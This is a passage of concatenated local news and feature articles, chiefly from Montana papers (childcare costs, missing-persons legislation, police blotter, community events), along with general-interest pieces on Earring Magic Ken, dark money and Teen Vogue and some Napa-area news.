crisis, particularly for infant care. Home childcare facilities usually serve infants (children under 2), whereas many centers do not for financial reasons. In the recent article, MYVillage reported a childcare owner could potentially earn $65,000 a year. At Child Care Resources, we work with childcare owners every day in Missoula, Ravalli and Mineral counties. We dont know of any childcare home that is netting anything close to $65,000. We hope that the MyVillage franchise will help home childcare business owners earn a living wage, which will help attract people to the business and help solve the access crisis. We do not believe this model will significantly lower the cost of child care for parents. We are working with area businesses to explore ways businesses might support their workforce by investing to help increase childcare capacity and lower the cost. Clint Burson of the Chamber of Commerce was quoted saying that it doesnt make sense to work if a parent has two kids in child care. While possibly true in the short-term, over a persons full career it results in significant financial loss. A recent study revealed that when a professional woman leaves the workforce for five years, the financial impact of that decision over her anticipated career is about $497,000 in lost wages. For a man, this loss is around $596,000. This accounts for five years without income, re-entering at a lower place in the career ladder, lost promotions, loss of health insurance and less employer contributions to retirement. This article (fortune.com/2016/06/22/stay-at-home-parent-cost) summarizes the research and includes a calculator for parents to assess their own situation. Staying home with young children is fabulous for children and the family. We wish all families had the opportunity to choose to have a parent at home. And, we recognize in todays circumstances, for many families that is not possible. Kelly Rosenleaf is director of Child Care Resources in Missoula. You must be logged in to react. Click any reaction to login. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Safe and sound huckleberries to state lawmakers who helped pass a number of bills to better respond to missing person cases and fight the epidemic of missing and murdered Native American women and children. One of the most significant bills, called Hannas Act, creates and funds a Department of Justice position dedicated to coordinating missing person cases across various local, state and federal agencies. Its fate was tied to another bill to create a network of missing persons data and establish a DOJ task force to oversee it. Those two bills now will become law, joining House Bill 54, which requires missing person reports to be accepted by law enforcement agencies immediately unless there are specific extenuating circumstances; and HB 20, which expedites the reporting process in missing child cases regardless of custodial circumstances or agency jurisdiction. Scattered chokecherries to the slow, quiet death of Landscape Conservation Cooperatives, a U.S. Fish and Wildlife Service program that fostered important international collaborations among government agencies and non-government groups with a stake in conservation. Rooted in President Bush-era conservation strategies, the cooperatives counted 22 programs during the Obama administration only to see their budget recommended for elimination by the Trump administration. Congress did appropriate a scant $12 million a year to sustain the cooperatives, but they appear to be languishing nonetheless. The coordinator of the Great Northern LLC that includes the Montana region has been reassigned, for instance, and the cooperative has not held a meeting in two years. A protective layer of huckleberries to those legislators who supported bills this session to provide long-needed protections for vulnerable youth at residential treatment programs in Montana. Last week, Gov. Steve Bullock signed a bill that would finally make it illegal for staff at these programs to have sex with youth in their care. Next, Bullock will have the opportunity to sign an important bill to provide meaningful oversight of these programs, which have thus far been allowed to essentially regulate themselves. The bill would eliminate a board comprised mostly of program operators and transfer regulation from the Department of Labor to the Department of Public Health and Human Services, which is far better suited to oversee such programs. Chokecherry cough drops to the recent outbreak of whooping cough in Missoula. This week the Missoula City-County Health Department confirmed six cases of the highly contagious disease also known as pertussis, and said it had identified more than 300 close contacts who may have been exposed. Vaccination provides some protection from whooping cough and lessens the severity of symptoms but is not a 100% guarantee against infection, so officials are advising the public to make sure they have received the full pertussis series of vaccinations and to watch out for cold-like symptoms that develop into a persistent cough. Expertly swaddled huckleberries to Erica Mackey and Elizabeth Szymanski, two Montana moms whose startup business recently earned the largest round of seed funding in state history, attracting nearly $6 million in venture capital. Their company, MyVillage, already boasts franchises in several cities in Montana and Colorado, taking care of licensing, insurance, billing and other small-business management responsibilities for the owners of childcare centers, and providing additional resources to help them build quality preschool and childcare programs. You must be logged in to react. Click any reaction to login. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 " " Yvonne Hemsey/Getty Images/Julius Seelbach/Flickr/ CC BY 2.0 The toy company Mattel introduced the doll Earring Magic Ken in the early 1990s as one of six dolls in the Earring Magic Barbie collection. But the company quickly recalled and discontinued the doll due to an unintended depiction of then-taboo gay culture. Mattel has been manufacturing its Barbie dolls since 1959. Shortly thereafter, it began producing dolls of Barbie's boyfriend, Ken. Girls really liked Barbie, and the doll became a certifiable cultural force, but Ken dolls never sold as well. In an effort to increase sales of Ken dolls in the early '90s, Mattel's research department worked with a group of 5-year-old girls to find out what might make them more likely to nag their parents to buy one. This workshop of young girls, inspired by images and music videos they'd seen on the then-culture-defining MTV music video network, wanted Ken to have a cool, new look, as author Matt Haig detailed in his book "Brand Failures: The Truth About the 100 Biggest Branding Mistakes of All Time." And what "cool" meant to 5-year-olds who'd seen MTV was maybe a mesh shirt. And a leather vest. And an earring, and tight pants. Oh, and maybe a flashy necklace, too. Advertisement The minds at Mattel went on to produce this version of Ken and in 1993, Earring Magic Ken was born. He wore a lavender mesh shirt, a matching purple leather vest, hip-hugging black jeans, and even had a new earring at a time when men having pierced ears in the United States was still somewhat risque. Ken, just like the other dolls in the Earring Magic collection, even came with a human-sized clip-on earring for the kids to wear. Ken even had a flashy, circular chrome ring dangling around his neck. But Mattel's choice for Ken's necklace would cause a row that the company would soon regret. That's because a panel of 5-year-olds generally isn't sophisticated enough to parse the subversion of gender norms, to understand the flouting of traditional masculinity, to ken the coded language of underground fashion or to predict the cluelessness of toy designers. At this time, we should point readers who'd rather avoid more graphic discussion of human sexuality in another direction. Perhaps you'd like to read about solar eclipses, or how 3-D printing works? You also could learn whether a giant squid could actually defeat a submarine. But if you're sticking around beyond this paragraph, things get a little more adult. " " The Earring Magic line of Barbie dolls included several versions of Barbie as well as the characters Midge, Ken, and others not pictured. Ksuta/Flickr/ CC BY 2.0 "He's always read gay," said Dan Savage, internationally renowned columnist and podcaster, in an email, "but has he ever read gayer than he did with a gay sex toy around his neck?" Savage originally wrote about Earring Magic Ken in the summer of 1993, when much of the pop culture world was having a good laugh at Mattel's lack of understanding that while little kids saw what Prince, the members of Right Said Fred or Madonna's backup dancers were wearing simply as "cool," the adult world was clued in to how gay it was. " " Earring Magic Ken has become a sought-after collectible, fetching high prices on online auction sites like eBay. Julius Seelbach/Flickr/ CC BY 2.0 "It was hilarious that they thought the earring was going to be the headline-making aspect of Ken's new look," said Savage. The doll flew off the shelves, especially since gay men, including Savage, rushed out to buy a Ken doll. The kitsch factor drove Earring Magic Ken to become the best-selling Ken doll at the time. We reached out to Mattel for comment multiple times to find out just how well the doll sold and whether it remains the No. 1 Ken, as well as for the current regime's take on this piece of corporate history but they did not return our requests. Though the Earring Magic Ken incident showed that LGBTQ culture at the time had infiltrated the mainstream (or, arguably, been co-opted by it), Ken might've simply remained the butt of late-night jokes until Savage who's since gone on to serve as one of the country's most prominent sex and relationship advice columnists published his explanation of the gay-culture subtext communicated by wearing the sex toy. As Savage outlined back in the 1990s, the chrome metal ring used as a sex toy was also worn as a fashion accessory among certain subsets of the queer community. The rings were used as necklaces, bracelets, zipper-pulls, and worn just about anywhere else they could be attached. And in a form of code, specific placements on clothing could imply certain sexual preferences among the gay crowd; you can read Savage's more detailed account of the nuances in the Chicago Reader's archives. Mattel quickly pulled the dolls from the shelves and apologized for the error. Clearly, it was not their intention to associate a child's doll with an adult sex accessory. Ultimately, Savage thinks the Earring Magic Ken incident is more of an amusing cultural blip than some kind of important moment, noting that neither the doll nor the hubbub is well-known today. "I don't think a gay man under 40 would even know what we we're talking about," he said. Adam McDonald is a 36-year-old gay man and film critic for the Bored as Hell podcast. "I have no idea what you're talking about," he said when asked about Earring Magic Ken. Dan Savage still has his Earring Magic Ken doll, though. When asked him about it, he quickly emailed a brand-new photograph of it, sex toy and all, proving that it had left at least some impression if nothing other than as a relic of a unique time in quickly changing American popular culture. Now That's Fascinating In 2004, Mattel had Barbie and Ken split up. For several years, Barbie replaced Ken with an Australian surfer named Blaine. Barbie and Ken reconciled in 2011. " " The Underwood Tariff Act, named for the pleasant-looking Sen. Oscar Underwood, re-instated the federal income tax. Philipp Kester/ullstein bild via Getty Images Sure, dark money has a cool name, but what about its backstory? To boil it down, dark money is the result of a convergence between a seemingly innocuous tax statute and a deeply divisive Supreme Court ruling. Sensational stuff? In its own way, yes. Let's start with the tax status. Back in 1913, the U.S. Congress enacted the so-called "Underwood Tariff Act" (aka the Revenue Act of 1913). That's the one in which the feds reintroduced income tax. Included in the act were a bunch of exemptions, one of which was for nonprofit groups [source: Gershman]. It's generally thought that the U.S. Chamber of Commerce was behind this statute, which would make sense because the Chamber just happens to be a nonprofit. This exemption included in the 1913 Act is considered the forerunner to 501(c)(4) designation, but it's unclear exactly when that precise nomenclature appeared. The 501(c)(4) designation refers to two different types of nonprofits: "social welfare organizations" and "local associations of employees" [source: IRS]. Advertisement By 1959, the government had accepted the idea that these organizations could be involved in politics and had codified them as "action organizations." By 1981 the rules were further loosened with the result that such a group could be politically engaged and still retain 501(c)(4) status if it limited its engagement to the promotion of "social welfare." It doesn't take a tax accountant to see that this kind of language is a slope waiting to be slipped down [source: Gershman]. Indeed, 501(c)(4) has always been slippery, but the slope it established turned out to be the setting for an avalanche. On to part two: In 2010, the Supreme Court handed down a ruling in the case of "Citizens United v. the Federal Election Commission." In a nutshell, the ruling defined corporations and unions as individuals and spending as a form of free speech. Since the free speech of individuals is protected by the First Amendment, the ruling meant that corporations are allowed to spend as much as they want when it comes to political campaigns. While direct contributions to candidates remain limited, contributions to the PACs that support them are completely unlimited. PACs, however, are inconveniently obliged to disclose the names of their donors [source: Levy]. Say you want to help create an ad that viciously attacks a candidate. Maybe, to up the ante, you wouldn't be averse to spreading a little misinformation. This kind of thing looks bad if it can be traced back to you and your associates. That's where dark money comes in. By shoveling funds into a nonprofit "social welfare" organization with 501(c)(4) status, you can avoid all that. Your donation remains anonymous, and the organization can fund away without any fear of blowback. In fact, the 501(c)(4) organization can even donate your funds to a PAC. When the PAC discloses its sources, all that pops up is the name of the nonprofit. You and yours stay safely hidden behind the dark money curtain, and, best of all, you can give as much as you want. So while the 501(c)(4) designation has been around for decades, the Citizens United decision made it deeply relevant to American politics. " " It may seem counterintuitive, but refusing to help a co-worker in the morning could be beneficial. Klaus Vedfelt/Getty Images "Sure, I'll help you" is usually an encouraged sentiment in the workplace. Motivational mottos on office walls and screensavers promoting themes of courtesy and teamwork are the norm. But even if your co-worker is your bestie, you may want to think twice before lending a helping hand. A recent study published in the journal Personnel Psychology found that offering co-workers help in the morning actually depletes your mental state, so by the afternoon, it's every person for themselves. The researchers drew from "ego depletion theory," which posits that people's mental resources can suffer so much from draining willpower that they begin losing self-control. Advertisement The initial survey sent to participants featured prevention-focused questions, including ones regarding anxiety about falling short of work responsibilities and obligations, and about the prior night's sleep quality questions that may cause type A personalities to hyperventilate! (Employees who are prevention-focused place importance on avoiding losses or failures and emphasize safety.) The survey also assessed political skill, or peoples' level of intuition or savvy in how to present themselves to others in the workplace. From those participants, a final sample of 91 full-time staff members were given two surveys a day for 10 consecutive workdays that measured helping acts (e.g., volunteering to help others), depletion (e.g., feeling emotionally drained) and political acts (e.g., winning the approval of supervisors). The eager beavers who helped co-workers during the first part of the day became less willing to help others as the day progressed, likely due to mental depletion. In fact, they became more self-serving, which could be harmful to colleagues. While the questions in the survey did not target levels or types of helping, researchers did form their concepts around organizational citizenship behaviors (OCBs) that support proper functioning in social and psychological environments. It's basically a fancy term for going above and beyond at the office. Granted, there are benefits to OCBs, including favorable performance reviews, better work attitudes and, yep, even help from co-workers. While the research team agrees that more work is needed to identify workplace depletion experiences, like mental and emotional exhaustion, they do offer a great tip. Employees arriving at work already feeling "depleted" may be better off helping themselves, or taking full advantage of any available breaks. So, if insufficient sleep is your modus operandi, just take a snooze on answering your co-worker's cubicle cry for assistance. You and your colleagues will be glad you did. Now That's Interesting There are 5 main types of OCBs (as mentioned above): altruism, courtesy, sportsmanship, conscientiousness and civic virtue. " " Teen Vogue editor-in-chief Elaine Welteroth attends the 2017 Beautycon Festival in New York City. Welteroth has been responsible for the magazine's new, more political direction. Kris Connor/Getty Images for Beautycon Teen Vogue started out as a fashion mag for young women. But lately it's been attracting attention from readers of all ages for its passionate forays into politics and social justice. Emilie Aries and Bridget Todd, co-hosts of the podcast Stuff Mom Never Told You, looked at the teen magazine's surprising metamorphosis in a recent episode. The hullaballoo began in December 2016, when the magazine published the op-ed piece "Donald Trump Is Gaslighting America." Hardly the type of article you expect to find nestled in between stories on make-up, hairstyles and celebrities, the publication's normal fare. But readers loved it. Advertisement "[Teen Vogue made] this argument that it's OK if you care about lip gloss and also social justice," says Bridget. "It's cool to care about both." On the strength of that piece, Teen Vogue's web traffic blew up to 7.7 million unique visitors that month, says Emilie, up from 3 million a year earlier. Even Dan Rather arched an eyebrow in a Facebook post, writing, "Some might consider Teen Vogue an unlikely source for a detailed examination of 'gaslighting' and Donald Trump ... but there you have it ..." Such surprised admiration is meant to be a compliment, says Bridget, "but actually it's illustrating a kind of underlying assumption that young women and young women's publications can't tackle very serious topics." And that, the two say, is positively false. Women do have multiple passions and interests. They should demand publications cater to all of them. After all, no one finds it odd that male-mag Playboy dishes up plenty of hard-hitting articles along with its soft porn. Another surprising twist to the Teen Vogue tale is that the powerhouse behind the magazine's change in coverage is Elaine Welteroth. In 2016, she was pushed up the chain to a leadership position at the magazine, becoming its youngest editor, and only the second African-American editor, across all Conde Nast publications. Once in her new role, the magazine made its right turn in its mix of coverage, much to the delight of readers. The positive response resulted in Welteroth being named editor-in-chief in April 2017 and the magazine amended its mission to include providing commentary on political and social topics. But the most exciting aspect of the magazine going rogue, Emilie and Bridget say, is its move to break down the barriers regarding women and their supposed interests. In the past, women's publications had a narrow definition of what they would cover, which topics were "women's interests" and which weren't. Hopefully, that kind of thinking will soon be a relic of the past. To find more about "How Teen Vogue Got Woke" and the pushback the magazine received from its change of direction, download this podcast. NOW THAT'S INTERESTING A recent nationwide survey by StumbleUpon showed females actually are not using a lot of beauty products. Two-thirds of women age 18 to 25 reported using 0 to 3 beauty products in their morning hair and beauty routine. In addition, as the women got older, they used fewer products. Caverns to celebrate Dog Days WHITEHALL Montana State Parks will host Dog Days, a special event to show appreciation for responsible pet ownership in state parks, from 8:30 a.m. to 4:30 p.m. Saturday, May 4, at Lewis & Clark Caverns. Since Seaman the Newfoundland that traveled with the Lewis and Clark Expedition first passed by the park in 1805, dogs have had a special place at the caverns. Today, hundreds visit each year with their owners, using the trails, staying in the campground and enjoying free, shaded kennels available for them while their humans tour the cave. In appreciation of responsible pet owners, dogs on leash that visit the park will receive poo bags and free treats as supplies last. To enjoy the giveaway, stop in at the Main Visitor Center with your pooch before you head out to enjoy the park. The park welcomes dogs year-round, but remember, pets are required to remain on leash and under their owners control at all times to help respect wildlife and other visitors, while ensuring their own safety. Pet owners are responsible for proper removal and disposal of any waste produced by their pets. Poo bag dispensers are located in the campground at the East Side Trailhead and by the kennels at the Caverns Visitor Center. Details: 406-287-3541. Rotary Club awards scholarships TWIN BRIDGES The Rotary Club of Twin Bridges has announced its 2019 scholarship winners. The following graduating students from Twin Bridges and Sheridan High Schools have been awarded scholarships in the amount of $800 each. The Rotary Club awards two scholarships to two graduating seniors from each high school annually. One scholarship is for students attending a Montana college in a four-year curriculum. The other is for students attending a college of technology, two-year curriculum in any state. This year, due in part to the success of the Casino Night fundraiser, the club was able to award a fifth scholarship to a graduate of a local home school. Scholarships are awarded based on academic achievement, probability of success, service to school and community and financial need. From Twin Bridges High School: Clancy Phillips, who will attend University of Montana and major in pre-law and law school. After graduation she plans to pursue a career as a District Attorney or in the FBI. Cole Escott will attend the Montana State University Northern and pursue his journeyman and master electrician license. From Sheridan High School: Tyler Haag, who will attend Montana State University and pursue a degree in mechanical engineering. Moxon Lee will attend Gallatin College and pursue a culinary arts degree with future plans to open his own restaurant. Home school, Sheridan: Brittni Barnosky will attend Montana State University and pursue a nursing degree. Kids Day on the Big Hole set Kids Day on the Big Hole River is Saturday, May 18, and is free and open to area youth ages 7-13. Bring your children out to enjoy a day of fun and learning on the banks of the Big Hole River near Melrose. Activities include fly casting and fly tying lessons, bug and trout identification, river safety, survival skills and more. Lunch is included and there will be prizes for all attendees at the end of the day. Registration forms and informational flyer can be found on the Big Hole River Foundation website at www.bhrf.org. Download the registration form or email us at bhrf@bhrf.org to request. Registration is open to the first 75 applicants and fills up quickly. Dance recital coming to Mother Lode Mining City Dance Co. will hold their annual recital, Rhythm is a Dancer, at 7 p.m. Saturday, May 4, at the Mother Lode Theatre. Students ages 3 to 22 will perform dances in tap, jazz, ballet, lyrical, contemporary, hip hop, and cheer. Tickets are $9 in advance and $10 at the door. Advance tickets can be purchased at the dance studio, 601 S. Montana St., after 5:30 p.m. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Montana Tech will celebrate its 119th Commencement Ceremony on Saturday, May 4, at 11 a.m. in the Butte Civic Center. The university is expected to award 685 degrees and certificates to 577 students. Reunion weekend kicks off on Thursday at 11 a.m. with a reunion luncheon in the Mineral Museum. Beginning at 5 p.m. Thursday, Montana Tech will honor the members of the classes of 1959, 1954, 1958, 1974 and 1979 at the Montana Tech Reunion Dinner at the Chancellors Residence, followed by the reception in the Natural Resource Research Center beginning at 6 p.m. Tickets are $35 and can be purchased by calling 406-496-4402 or emailing alumni@mtech.edu. On Friday morning, reunion guests and commencement honorees will begin the morning with breakfast followed by optional High Tea at the Chancellors home and tours of the Distillery and Butte Brewery. Graduates will go through a rehearsal ceremony on Friday at the Butte Civic Center at 3 p.m. in preparation for Saturday. A number of alumni, graduates, families and friends will gather for cocktails at 6 p.m. the Clarion Copper King Inn for the Graduates Banquet, held in honor of the graduating class of 2019. The banquet starts at 7 p.m. Reservations are required for the banquet. Saturday morning will kick off with the Nursing Pinning Ceremony in the Library Auditorium at 8:30 a.m. The Order of the Engineering Ring Ceremony will start at 9 a.m. at the Butte Civic Center. At approximately 10:15 a.m., degree candidates will begin assembling in the halls of the Butte Civic Center in preparation for the Commencement Ceremony. The ceremony will be streamed live. A link to the stream will be available on www.mtech.edu. A reception for graduates, family members, and friends will occur immediately following the Commencement Ceremony (approximately 1:15 p.m.) in the annex of the Butte Civic Center. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Editor's note: The following is part of a year-long series of Teen of the Month profiles. School officials select each student. At the end of the year, one of the students will receive a scholarship. If youve visited the East Middle School office, you are likely to have been helped by Maddy Speer, student office aide. According to Principal Keith Miller, Speer was selected for the position based on her outstanding academic performance, exemplary citizenship and her devotion to her favorite extracurricular activities. We all have to balance things in our lives. Thats a hard thing to do. Shes able to handle that balance and still excel, Miller said. Speer is a straight-A student whose favorite subject is science. Speers current science teacher, Jennifer Nardiello, is quite impressed by the eighth-graders performance. Id put Maddy in as one of my top ten students ever. Shes really good at problem-solving. Shes got that engineering brain for science, she said. Speer finds the analytical, interpretive and diagnostic aspects of science intriguing. You have to pick through stuff and figure out what youre doing, she said. That analytical mind also serves her well in Tony Jorys math class. He pointed out that her kind and conscientious demeanor makes her stand out in other ways. Her attitude extends, not only with her commitment to her grades, but to her surroundings in regard to others, he said. Principal Miller added that Speers skills in science and math have earned her placement in a summer science, technology, engineering and math (STEM) camp on the East Coast this coming summer. Speer is also a fan of her reading and writing courses. I like writing stuff and to be able to express myself in writing, she said. Her English teacher, June Magnuson, and her reading teacher, Julie Vaughn, agreed that Speer stands out in their classrooms academically and for her good citizenship. Maddy is very polite, well-mannered, kind, caring, responsible and gets along well with others, Magnuson said. She is a leader in the classroom and exhibits a level of maturity thats beyond her years, added Vaughn. When she is not at school Maddy applies skills she learned in 4-H while in elementary school to taking care of her five horses, one mule, two rescue dogs, and a flock of chickens. Speer said that her love of animals and science has her contemplating a career in veterinary science after high school. Speers other extracurricular passion is Irish dance. Dancing since the age of 5, Speer finds the activity both fun and rewarding. I enjoy working to get to an end goal. You have to put in a lot of time and practice to get to where you want to be, she said. Proud of her nomination, Speers parents, Jason and Kelly Speer, described her as being focused with a strong work ethic. Willing to tackle any challenge, Speer has impressed her parents with her problem solving skills. Shes very organized, gets good grades and shes always done well in school, said Kelly. Maddys just a very hard working and goal-oriented kid, added Jason. Love 6 Funny 0 Wow 2 Sad 0 Angry 0 Tanahu Hydropower invites fresh bids after terminating contract After terminating the contract with the Italian builder, Cooperativa Muratori e Cementisti di Ravenna (CMC), Tanahu Hydropower Limited on Thursday has reopened an international tender for the construction of a major component, including dam and other structures of 140MW Tanahu Hydroelectricity Project situated in Damauli. Ahh, forget about it Someone on the 1300 block of Joy Lane called police about their car being hit by a paintball Thursday afternoon. Turns out a neighbor accidentally shot it, so the caller decided to just let it go. Nothing but a couch A little girl on a school bus thought she saw someone lying below a towering railroad trestle in a sleeping bag Thursday morning. Police didnt find a person there, but they did find an old couch sitting in the nearby creek. The case was closed. Drunk at pre-release Two residents of the Butte Pre-release Center on Broadway Street in Butte allegedly did something you cant do there: got drunk. Police arrested Chad Easely Harper, 44, and Joshua Jacob Parker, 42, for felony parole violations early Friday morning, and both were still in jail as of late Friday morning. Old stolen pickup Police made a traffic stop at Broadway and Arizona around 9:30 a.m. Thursday and discovered the 1996 Ford pickup was stolen out of Helena. They arrested Daniel Gerard Wanner, 58, of Butte and 44-year-old Michael David Baker from Helena on felony complaints of possessing stolen property. Wanner was also booked for a felony probation violation. They were in jail late Friday morning with no bond set. Bad day for Day Butte police were assisting probation and parole officers Thursday afternoon when they arrested 42-year-old Matthew Stephen Day of Butte for a parole violation outside the Town Pump at 531 South Montana St. Police also say they found suspected methamphetamine, heroin, and marijuana in a red lunch box in his pickup along with scales and torch lighters, so he was also booked on two felony complaints of possessing dangerous drugs, one misdemeanor for the same thing and misdemeanor possession of drug paraphernalia. He was still behind bars late Friday morning. Love 1 Funny 8 Wow 1 Sad 1 Angry 5 When women and girls go missing in our state, its not a Democratic problem or a Republican problemits a Montana problem. And its an urgent one. Not much research exists on the epidemic of Indigenous women and girls going missing or being murdered. But we do know that in Montana, where human trafficking is on the rise and there are serious flaws in our missing persons reporting system, hundreds of people have gone missing and their families are still left wondering what happened to them. Thats why this legislative session, we refused to back down. We fought relentlessly to pass bills that will save lives in Montana and deliver justice for missing and murdered Indigenous women. Two of these bills will eliminate delays and require all law enforcement agencies in the state to submit a missing persons report immediately if someone is reported missing. HB 20 was signed into law back in February, and the other, HB 54, has passed overwhelmingly and should be headed to the governors desk soon. We also championed SB 40, which will require the Office of Public Instruction to create and maintain electronic directory photograph repository of studentsonly to be used if that child is identified as missing. This, too, is headed to the governors desk for signing. And we introduced Hannas Act. Hannas Act, HB 21, will create and fund a new missing persons specialist position at the Department of Justice dedicated to assisting all law enforcement agencies in the state pursue missing persons cases. Law enforcement agencies in Montana need the tools to find our loved ones when they go missing, and it is imperative that the Department of Justice hires someone to make these cases a top priority. Since we introduced Hannas Act in January, it has taken on a life of its own. Hundreds of Montanans have reached out to share their own stories of their missing loved ones, or cases gone cold because of delayed investigations. Folks are realizing this epidemic isnt only a tribal oneit affects all Montanans. But although we saw a powerful groundswell of support for Hannas Act, we didnt see the support this issue deserves from all Montana lawmakers. For some, politics got in the way. We are deeply disappointed that several Republican lawmakers tried to gut the bill by removing its funding and making it optional for the Department of Justice to create the position. Contingency language was added into Hannas Act to tie its fate to another Republican bill, which would have killed Hannas Act if the other bill had not passed as well. A final vote on Hannas Act was delayed, causing the bill to miss a legislative deadline and putting its passage in jeopardy. And to our great dismay, Deputy Attorney General Jon Bennion even tried to take Hannas Act hostage and use it as leverage to pass an unrelated bill about DUI laws. We dont know why a bill to give law enforcement better tools to investigate murders and missing persons cases, especially in a state with a widespread human trafficking problem, got hung up on partisan politics. But it did. Fortunately, common sense and bipartisanship ultimately prevailedand to our great joy, on Legislative Day 85, Hannas Act headed to the governors desk for signing. Without the Montanans who came forward to tell their stories, the support of countless agencies and Governor Bullock, the Democratic caucus that made this a priority since Day One, and the bipartisan support of legislators across the aisle, we could never have gotten this Montana solution passed. No matter what your political stripes, no family should have to experience the pain of having their loved one disappear and never knowing what happened to them. Were proud to let Montanans know that these four bills are going to make women and girls safer across our state. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 MUSCATINE Muscatine Community College partners with businesses, organizations and schools to solve common issues in our community. Because the idea of access is fundamental to all community colleges, todays article discusses the benefits of concurrent enrollment for high school students. Concurrent enrollment provides high school students with the opportunity to take college-level classes which are generally paid for by the students school district. In 2019, students in our six-school service area participated in college-level classes at the following rates: Muscatine High School (238 students); Louisa-Muscatine High School (45 students); Columbus Community High School (35 students), Durant High School (24 students), West Liberty High School (73 students) and Wilton High School (34 students). Expanded to the entire Eastern Iowa Community College district, over 2,500 high school students enrolled in college classes in 2019, an investment of over $5 million total towards their college education. These students are getting a head-start on their college education and applying those classes towards MCC degrees or are transferring them to other colleges. I'm with the NPP to help ... The death of yet another burn victim shows how little has changed in the past 20 years Burns are the second most common injury in rural Nepal, accounting for 5 percent of disabilities, according to the World Health Organisation. Beating and burning are the two most common forms of domestic violence in Nepal, according to womens rights organisations and several academic studies. The Medical Professional Liability (MPL) Association will recognize Gloria Everett, a Napa resident and president and CEO of The Mutual, as the recipient of the 2019 Award of Excellence in Honor of Peter Sweetland. The award will be presented on May 16, at the 2019 MPL Association Conference in Portland, Oregon, said a news release. Everett is being honored for her "singular contributions and longtime dedication to the MPL insurance community, the MPL Association and healthcare professionals,"said the release. The MPL Association is an international organization representing the medical professional liability insurance community. Everett is an insurance executive who has spent more than 30 years representing the interests of the medical professional liability community. Dear Len and Rosie, Last year, my wife and I bought a revocable living trust. We own a modest home, some stocks and bonds, three bank certificates of deposit and two insurance policies that are payable to the trust. I am the only trustee because my wife, Gloria, was never all that good with handling money. When I die, my eldest son, Josh, will be the successor trustee. He has promised to take care of his mother after I am gone. I want to know how it is supposed to work. How does Josh become trustee when I am gone? What if I lose my mind and wind up in a nursing home? How do my stock broker and the banks know that Josh is supposed to be the trustee? They might think he was some punk coming in off the street to rip us off. Reuben Dear Reuben, Most of the time when clients who already have a trust come into our office with questions such as yours, we learn that they purchased their trust from a trust mill that didnt even bother to explain how their trust is supposed to work. According to your letter, you are the sole trustee and your son is the successor trustee. He will become the trustee upon your death, resignation or incapacity as directed by the language of your trust. Because we do not have a copy of your trust, I cannot tell you exactly how this is supposed to happen. This, however, is the way most revocable living trusts work: If you die or resign, Josh would become trustee automatically. All he would need to prove he was trustee is your death certificate or your letter of resignation as trustee. There will be other documents needed to transfer specific assets such as your home and accounts to Josh as trustee. But if you become incapacitated, it can get sticky. Who decides whether or not the trustee has become incapacitated? Many trusts are written with provisions that one or two doctors can determine that the trustee is no longer able to handle the job. Other trusts may require the successor trustee to petition the court for a determination of incapacity. Some trusts have no provision for the removal of a trustee, which means the successor trustee or the beneficiaries may have to ask the court to intervene. In any event, your son will have to talk to doctors and lawyers if you become incapacitated. The easiest way to handle the issue of incapacity is to avoid it. Ideally, you should resign as trustee before you become incapacitated. Or, you and your wife could amend your trust to appoint your son as co-trustee and give him the authority to act alone. This way, if anything happens to you, he already has the ability to take care of things for you and Gloria. Of course, you must really trust your son to give him that kind of power over your property while you are still alive. What you should do is contact the trust mill that wrote the trust for you and request an explanation. If they are not much help, and they probably wont be, then you should consult with a local elder law attorney to review your trust. Len and Rosie Len Tillem and Rosie McNichol are elder law attorneys. Contact them at 846 Broadway, Sonoma, CA 95476, by phone at 707-996-4505. The St. Helena United Methodist Church will host Mike Greensill and company at its next Sunday Salon at 4, which will be May 5 at the church, 1310 Adams St. at Oak Avenue. Celebrated jazz pianist Mike Greensill will perform a dynamic music program Jazz goes to Hollywood on great jazz artists in film, followed by a playful set Laughter from the Hip, with a focus on jazz musician humor. Additionally, a selection of original watercolor art work from local artist Lois Need will be displayed. Need is a lifelong artist and sculptor specializing in seascapes, woodlands and other scenes in the natural world. She has exhibited throughout Northern California and her artistry has been carried on by her children and grandchildren. A reception with wine and nibbles will follow the concert. The suggested donation of $25 will support the St. Helena United Methodist Church Music and Art Programs. For more information, call the church at 963-2839. The Napa Valley Unified School District will put the former home of Vintage Farm on the market to help raise money for its replacement. The longtime home of the teaching farm for Vintage High School students will go on sale after the district board on Thursday voted to declare the 10.5-acre site at 1185 Sierra Ave. a surplus property. Proceeds from its sale will go into the purchase of a nearby 9-acre parcel just east of Trower Avenues stub end within walking distance of campus to host a new Vintage Farm. The school boards vote allows Napa Valley Unified to partner directly with a developer to sell the Sierra Avenue property, bypassing the need for an auction. A consultant to Napa Valley Unified has estimated the site eventually could host as many as 67 single-family houses. The sale of the Sierra Avenue grounds should generate $9.5 million, according to a design and construction plan the board also approved Thursday. Napa Valley Unified negotiated with three landowners to cobble together enough land for a new student farm in 2017. The largest, 6.5-acre portion was acquired in a trade with the Van Winden family, in exchange for a same-size tract to the south that was owned by the district but considered too narrow for agricultural use. Two other parcels the district bought from owners on El Centro Avenue round out the future farm site. Also on Thursday, the school board approved a request for proposals to strike a leaseback deal at the new farm location to build facilities for Vintages agriculture program as well as its culinary program. Facilities are to be built in stages as funds become available, with money drawn from the sale of the old farm site, the Measure H bond issue voters approved in 2016, and state facility funds for career education. A district-sponsored committee of 14 Napa residents recommended selling the current farm to help pay for school-related construction. District officials then considered moving the farm to a smaller 5-acre site, but changed course when Vintage High agriculture students called such a parcel inadequate. Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. SAN FRANCISCO Four baby prairie dogs recently born at the San Francisco Zoo have yet to be named and zoo officials announced Thursday they're holding a contest to name them. Zoo officials are looking for spring-themed names for the contest and those who choose the winning names will win an annual family membership or a membership renewal. The prairie dogs were born about six weeks ago and recently emerged from their burrows. Prairie dogs are born hairless with their eyes closed and they stay underground for about six weeks before coming to the surface, according to zoo officials. By the time they surface, the pups have grown hair and are ready to eat grass and greens. Prairie dogs are known for giving each other prairie dog kisses, a greeting that allows them to determine whether they belong to each other's social groups. Prairie dogs, which are rodents and not related to dogs, are 